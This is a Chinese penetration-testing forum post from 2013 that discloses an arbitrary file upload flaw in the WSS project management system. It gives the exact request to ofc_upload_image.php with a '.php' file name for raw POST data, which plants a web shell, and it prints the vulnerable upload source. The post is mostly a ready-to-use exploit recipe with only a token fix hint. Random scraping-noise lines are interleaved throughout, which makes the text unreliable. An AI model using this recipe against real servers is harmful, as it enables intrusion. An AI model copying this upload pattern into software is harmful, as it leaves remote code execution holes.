中国网络渗透测试联盟
标题:
WSS项目管理系统Post get shell
[打印本页]
作者:
admin
时间:
2013-2-23 12:38
标题:
WSS项目管理系统Post get shell
POST 数据漏洞文件执行任意后缀文件保存
- [1 B" K0 L K- B- L$ P! a
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
, ?% L. B2 _# Q
}$ X: u- ?+ D5 b0 n1 v" `& O
利用：
2 X0 u X( Y' ^1 t! V1 _
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
2 Q Z. H2 b3 L0 A
" r. ]! P/ W# }3 N( I U
Post任意数据
) S/ o# S \& v( x
保存位置http://localhost/chart/tmp-upload-images/hfy.php
7 \: Y! Q& F2 L/ ?# S4 n' k
[attach]201[/attach]
K6 p3 W/ w R; I
[attach]202[/attach]
8 P8 S- W9 R0 ?: X4 m/ o. [
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
/ x8 |: y5 I) m" @8 ~* u
( ]+ f9 p& S' F+ I9 ~
<?php
0 x1 m; r4 S3 J, f! f* E( p
/ S( W7 T: }) L# u3 d' ^
//
$ H( R! J( a6 d" H6 ^- }, C5 [; O
// In Open Flash Chart -> save_image debug mode, you
( Y6 p5 a5 @1 w! s
// will see the 'echo' text in a new window.
: \4 J$ x; `, `( x8 {1 H/ `$ v* g$ k
//
$ x% @2 f# a$ `/ z, c6 A
6 _$ w. o7 y; V5 s# W' \1 _
/*
" _: ^- E- f. f( N D7 @
, z5 e4 I8 _+ ?# c. U
print_r( $_GET );
9 m$ j" {7 c2 R& |
print_r( $_POST );
7 v- T$ g, m- p1 D
print_r( $_FILES );
2 ?" B. @% S% V/ k
! S. Y* L3 z; y' C# W0 J2 G
print_r( $GLOBALS );
" O/ [5 h5 `) D% _& A, q3 p" b3 {
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
% ?9 m) Q$ B! n" H8 k
& ]: ^6 ^' g h+ C3 O5 X7 \
*/
( ^* O% u1 s6 x
// default path for the image to be stored //
* Z# S5 V2 {: P5 }& z: x
$default_path = '../tmp-upload-images/';
- j- _5 r( G; I/ G
+ r% G7 b4 W/ M1 p: M7 |$ v
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 \7 t. C3 Y5 F/ Q: x. W& r
, D* a% x( Z! _: E
// full path to the saved image including filename //
, G# k( c2 i; h1 V3 W0 K2 b
$destination = $default_path . basename( $_GET[ 'name' ] );
9 d( q5 R/ \$ @0 D& p8 W& `
7 d0 X0 e }! i/ _4 T5 Z
echo 'Saving your image to: '. $destination;
( i8 X# R; |; q$ C. M1 ?3 R) x5 l9 j5 B
// print_r( $_POST );
& w. q" V# S1 i( ? q
// print_r( $_SERVER );
$ f1 K( ^! X" s' {
// echo $HTTP_RAW_POST_DATA;
7 @4 w( F4 Y! J8 y7 D. T. O; t( d; }
8 @# k, A2 @( W4 p8 }% E. \* n" ]
//
; s, X5 n3 \. g
// POST data is usually string data, but we are passing a RAW .png
7 W" S$ @* N5 Z) q) E( @2 g
// so PHP is a bit confused and $_POST is empty. But it has saved
! R0 A$ W3 I8 [. h% [! F- C
// the raw bits into $HTTP_RAW_POST_DATA
: u) d! R" N$ C I8 B1 u3 i* s7 I
//
% u7 f5 w5 G! A6 Y7 D* D/ w$ u/ F+ i
L3 h/ B' Y! D! w H4 D
$jfh = fopen($destination, 'w') or die("can't open file");
; q3 k9 o) |6 R
fwrite($jfh, $HTTP_RAW_POST_DATA);
9 e" S# @* t9 m$ e2 o
fclose($jfh);
) v6 F5 k) Z0 M8 t
' h) u" v& v5 W$ c. s0 @* Q
//
9 h/ W( W+ j+ ^9 m" @7 ]# f* q0 Z6 j
// LOOK:
- j3 u7 C6 O* ^; V/ [6 o7 i- D8 T
//
$ N5 f) j) U3 ]6 p, \" [
exit();
1 K5 x i' N: {9 x
//
$ a- O n+ L" {. _- \5 p1 G+ W
// PHP5:
# F1 r2 T2 a3 q, x
//
' r. [2 d ?9 A& F4 O1 Q. _
9 v$ c" C3 A/ l. q0 z3 z6 Y1 d9 w
! {" o" a8 }8 Y! \
// default path for the image to be stored //
8 C& B* M. S: t7 }
$default_path = 'tmp-upload-images/';
: B0 ]7 ?. w8 N. Z
5 q b. D% p5 B6 V% d3 U: F
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
! k9 e8 o0 J+ ^3 L
! L7 J: |9 K0 {6 M8 C
// full path to the saved image including filename //
3 f; B- z/ w; j. z( L
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
7 h" m! r+ M7 ?% f* B$ u" P
' b& \$ ^4 y9 H! s2 D
// move the image into the specified directory //
z4 u6 a2 q( _
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( W% C8 L: W% I9 y. T5 V' z
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
4 ^3 j2 n, V# |, S7 Y, e9 ^/ @
} else {
6 }- n; \' s6 o, K3 |: v
echo "FILE UPLOAD FAILED";
5 h. a' P' Y* ]8 S- ^
}
1 s: o0 {0 w" M% W
5 _0 l. V `2 N8 E: M6 }
2 y5 ?/ y0 A/ r$ o% M
?>
% d/ e& m4 ^5 M" j
* M2 Y! k& X$ g, V' B8 S
& B5 m+ n1 i# t) w& n
' K% o7 w2 c# T% g1 O5 K
8 F; K, ?$ L. s& B
[attach]203[/attach]
p' D- g9 _% s/ ] ]' _) ?
$ Q; q$ F- ~/ m, t( {0 }/ w
修复方案：
3 L1 A* Q" r, W* m; `7 c" [9 X
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
4 h- K2 v, }) u, B, B
8 m2 C) }0 t3 Q! T, v
! r r+ ]- M7 |. T
; L7 y4 K H) p1 `
% O8 W* Y- Y9 X* [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2